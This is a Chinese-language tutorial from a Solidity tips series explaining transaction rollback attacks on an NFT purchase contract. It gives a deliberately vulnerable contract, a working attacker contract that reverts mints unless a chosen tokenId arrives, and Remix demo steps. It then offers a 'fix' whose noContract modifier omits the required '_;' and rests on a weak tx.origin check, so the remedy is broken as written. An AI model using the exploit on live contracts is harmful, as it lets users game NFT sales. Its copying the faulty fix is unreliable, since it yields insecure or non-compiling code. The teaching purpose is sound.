【100个Solidity使用技巧】2、交易回滚攻击

以太坊 EVM 支持交易回滚,合约可以使不满足条件的调用失败,从而回滚部分或者整个交易。

交易回滚攻击

原理分析

以太坊 EVM 支持交易回滚,合约可以使不满足条件的调用失败,从而回滚部分或者整个交易。

  • 交易回滚

使用 assert()require()revert() 可以使不满足条件的调用失败,配合 trycatch 可以回滚部分或者整个交易。

  • 回滚攻击

如果业务合约允许合约调用或者调用了第三方合约,那么合约调用和第三方合约就可以利用交易回滚,撤销不符合自己期望的执行结果,从而达成攻击的目的。

流程图示

  • 交易回滚

    graph TB
    sender[调用者] -- 1 --> startContract[调用合约] -- 2 --> contract[业务合约] -- 3 --> startContract
  • 回滚攻击

    graph TB
    start[方法开始] --> contract[调用业务合约] --> check{调用结果是否符合预期} -- 符合预期 --> endIt[方法结束]
    check -- 不符合预期 --> rollback[交易回滚]

示例代码

这是一个简单的 NFT 合约示例,它的功能是购买 NFT。如果你看不出合约的问题,说明你正需要学习这节课。(这个合约有巨大漏洞,请不要直接使用在任何实际业务中)

//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.12;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";

interface INFT {
    function buyNFT() external payable;
}

contract NFT is ERC721 {
    uint256 tokenId;

    constructor() ERC721("NFT","NFT") {}

    function buyNFT() external payable {
        require(msg.value >= 1 ether, "NFT: You must pay 1 ether to buy an NFT");
        _safeMint(msg.sender, tokenId++);
    }
}

contract TransactionRollbackAttack {
    INFT nft;
    uint256 tokenId;

    constructor(address _nft) {
        nft = INFT(_nft);
    }

    function doBuyNFT(uint256 _tokenId) external payable {
        tokenId = _tokenId;
        nft.buyNFT{value: msg.value}();
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 _tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        require(tokenId == _tokenId, "NFT: not the correct token");
        return this.onERC721Received.selector;
    }
}

演示流程

  1. 打开 https://remix.ethereum.org/

  2. 选择 solidity 版本为 0.8.12,部署 NFT 合约。

  3. 将 NFT 合约地址作为参数部署 TransactionRollbackAttack 合约。

  4. value 选择 1 Ether,点击 TransactionRollbackAttack 合约的 doBuyNFT 方法,参数输入 0,点击 transact,成功购买 tokenId 为 0 的 NFT。

  5. value 选择 1 Ether,点击 TransactionRollbackAttack 合约的 doBuyNFT 方法,参数输入 0,购买 tokenId 为 0 的 NFT 失败。

修复问题

  • 禁止合约调用

    modifier noContract() {
        require(tx.origin == msg.sender, "NFT: not contract");
    }
    
    function buyNFT() noContract external payable {
        require(msg.value >= 1 ether, "NFT: You must pay 1 ether to buy an NFT");
        _safeMint(msg.sender, tokenId++);
    }

    使用 noContract 来禁止合约调用,可以防止交易回滚攻击。

原文发布在 https://github.com/33357/smartcontract-apps 这是一个面向中文社区,分析市面上智能合约应用的架构与实现的仓库。欢迎关注开源知识项目!

本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

  • 发表于 2022-08-13 14:00
  • 阅读 ( 522 )
  • 学分 ( 8 )
  • 分类:Solidity

你可能感兴趣的文章

相关问题

2 条评论

请先 登录 后评论
33357
33357

27 篇文章, 61 学分